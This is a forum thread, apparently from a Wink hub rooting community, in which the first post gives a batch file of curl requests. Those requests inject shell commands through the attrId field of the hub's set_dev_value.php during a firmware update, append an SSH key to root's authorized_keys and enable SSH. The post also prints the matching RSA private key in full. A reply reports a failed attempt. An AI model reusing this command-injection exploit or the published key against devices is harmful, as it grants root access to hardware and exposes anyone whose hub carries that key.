Using upgrade process to root an updated hub

CloneNum3
Site Admin
Posts: 107
Joined: Wed Jan 07, 2015 10:02 am

Using upgrade process to root an updated hub

Postby CloneNum3 » Fri Jan 09, 2015 4:43 pm

Have you updated to 00.33 or prior (for whatever reason have a prompt to receive an update on your device?), you're in luck!

Note: I say 00.33 not 00.47 because I have a few hubs at 00.47 that are not prompting for an update for some reason, maybe I'm impatient, I'll leave them plugged in.

Prepare the batch file...
in a directory, place curl.exe and the following batch file (I named mine root_updater.bat)

Code: Select all

curl "http://%IP%/set_dev_value.php" -d "nodeId=a&attrId=;killall upgrade.sh;"

curl "http://%IP%/set_dev_value.php" -d "nodeId=a&attrId=;killall run_upgrade.sh;"

curl "http://%IP%/set_dev_value.php" -d "nodeId=a&attrId=;killall curl;"

curl "http://%IP%/set_dev_value.php" -d "nodeId=a&attrId=;killall ubiformat;"

curl "http://%IP%/set_dev_value.php" -d "nodeId=a&attrId=;echo ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA2nCGCGeaPSWseFqi/ctWeamK56qlBmIcr0L9K0ZaAq43BHfITtLL7mteZMJYSn8PX3JMKNFJiCvvSW8gla2s4aBqb9F1EjazDKJnWKyzzdgEeUqr0T7t2pltvxxoZ/z/wEVMB5AKD9TjjTXRSoEBF7AJ/OfhjKHQiO5TLWPlUtk= rsa_1024_no-plus >> /root/.ssh/authorized_keys;"

curl "http://%IP%/set_dev_value.php" -d "nodeId=a&attrId=;echo ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA2nCGCGeaPSWseFqi/ctWeamK56qlBmIcr0L9K0ZaAq43BHfITtLL7mteZMJYSn8PX3JMKNFJiCvvSW8gla2s4aBqb9F1EjazDKJnWKyzzdgEeUqr0T7t2pltvxxoZ/z/wEVMB5AKD9TjjTXRSoEBF7AJ/OfhjKHQiO5TLWPlUtk= rsa_1024_no-plus >> /database/authorized_keys;"

curl "http://%IP%/set_dev_value.php" -d "nodeId=a&attrId=;touch /database/ENABLE_SSH;"


Get a PC connected to the same wireless as the hub
visit https://wink-hub-images.s3.amazonaws.com/00.01/upgrade_00.01.txt, verify 00.05 is still the current update release (fver1=00.05)
start pinging hub, verfify you get a response (light should be solid blue)
start the update process from your phone or device
wait until pings stop (light should be flashing red right now)
after a while ~10min?, pings will stop, lights will stop flashing red, get ready.
wait until pings start again
the hub is now rebooting into the updater partition which as of 00.05 is still exploitable.
When the pings start again... type the following replacing 1.2.3.4 with the IP your Wink hub received:

Code: Select all

set IP=1.2.3.4
root_updater.bat

if it errors, it doesn't hurt to run the batch file repeatedly.

Now ssh to your hub with the following private key:

Code: Select all

-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDacIYIZ5o9Jax4WqL9y1Z5qYrnqqUGYhyvQv0rRloCrjcEd8hO
0svua15kwlhKfw9fckwo0UmIK+9JbyCVrazhoGpv0XUSNrMMomdYrLPN2AR5SqvR
Pu3amW2/HGhn/P/ARUwHkAoP1OONNdFKgQEXsAn85+GModCI7lMtY+VS2QIBIwKB
gQDN9RCo1rX/I4VbiKhOYKH9rnunOn5WecNGKTfYWEY9Cqjm9JhKUbj2vQE6bhi7
RJl3P+FoUEyk9jlifrhSnG/LrGR/2FfYT1bP5NLihDdak3yN3f2FLa6BrcL4N0Xt
iIgj4AnZIkh3YD4Qq03T45d6SFmvKsajG/fGkuUonA0/xwJBAP087QO2GOez4Fml
OgcAlgWgFY80Mog9hScfe0NMQ3jW1V3pWWwWDEiJsJKDniqeHjcnugC0CB2Dt5XI
7/17PqcCQQDc0m+S9TLrVYYYAXv6cMB7yQOR9l8KHgn4Et9/dOLEztReng2qQk6i
ZZxpvRFswlD9mmoW5npuZQ5AnvNMipJ/AkBeD1C4PFJksIaHsmYCmdFSi+rAKVSZ
AOhQXCZ4FQMeQSqt2lRp+Y+IqCukIkIP1FRdoQqSjAMDpfO7SqJINRdFAkB33/Nt
CMPe1qfhJWCPRIW/imEGGAe1CP4Y9E1xE5ELwLxt4MWW8MuZ/KVd+OwzufFzujmX
ZyyFEkmQy1DgaHtpAkEAo4L96oY3zlDpS3z7YepzEHX/X0ibGNBO1Q7wTxp1uRno
SCYumdpu3fNY8v06vRIBbW8rKDvk8JFVEppVk8ijKQ==
-----END RSA PRIVATE KEY-----

oh hell
Posts: 1
Joined: Thu Apr 09, 2015 6:50 pm

Re: Using upgrade process to root an updated hub

Postby oh hell » Thu Apr 09, 2015 6:59 pm

Attempted this on unrooted 0.56 -> 0.77 although fver1=0.08

My root attempt failed as I didn't pretest curl.exe and was missing some dll. :oops:


Nonetheless useful data for anyone else trying: the pings timed out after about 90 seconds and only missed four pings. There was a second period about a minute later that lasted 5 timeouts. The whole process (back to blue, android notification) was complete in <3 minutes.

So what to do sitting at v=0.77?


Return to “Upgrade to current firmware maintaining root”

Who is online

Users browsing this forum: No registered users and 1 guest